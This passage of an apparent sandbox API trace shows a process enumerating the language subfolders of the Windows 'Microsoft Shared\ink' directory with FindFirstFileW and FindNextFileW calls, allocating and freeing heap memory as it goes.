ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.657] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.657] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.658] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.658] GetProcessHeap () returned 0x560000 [0217.658] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.658] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0217.658] GetProcessHeap () returned 0x560000 [0217.658] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.658] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.659] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.659] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.659] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.659] GetProcessHeap () returned 0x560000 [0217.659] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.659] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0217.660] GetProcessHeap () returned 0x560000 [0217.660] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.660] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.660] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.660] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.661] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.661] GetProcessHeap () returned 0x560000 [0217.661] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.661] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0217.661] GetProcessHeap () returned 0x560000 [0217.661] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.662] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.662] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.662] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.662] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.662] GetProcessHeap () returned 0x560000 [0217.662] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.662] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0217.663] GetProcessHeap () returned 0x560000 [0217.663] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.663] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.663] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.664] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.664] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.665] GetProcessHeap () returned 0x560000 [0217.665] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0217.665] GetProcessHeap () returned 0x560000 [0217.665] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.665] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.666] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.666] GetProcessHeap () returned 0x560000 [0217.666] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0217.667] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0217.667] GetProcessHeap () returned 0x560000 [0217.667] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.911] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.911] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.912] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.912] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.912] GetProcessHeap () returned 0x560000 [0217.912] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.912] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0217.913] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0217.913] GetProcessHeap () returned 0x560000 [0217.913] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.914] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.915] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.915] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.915] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.915] GetProcessHeap () returned 0x560000 [0217.915] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.915] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0217.916] GetProcessHeap () returned 0x560000 [0217.916] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, 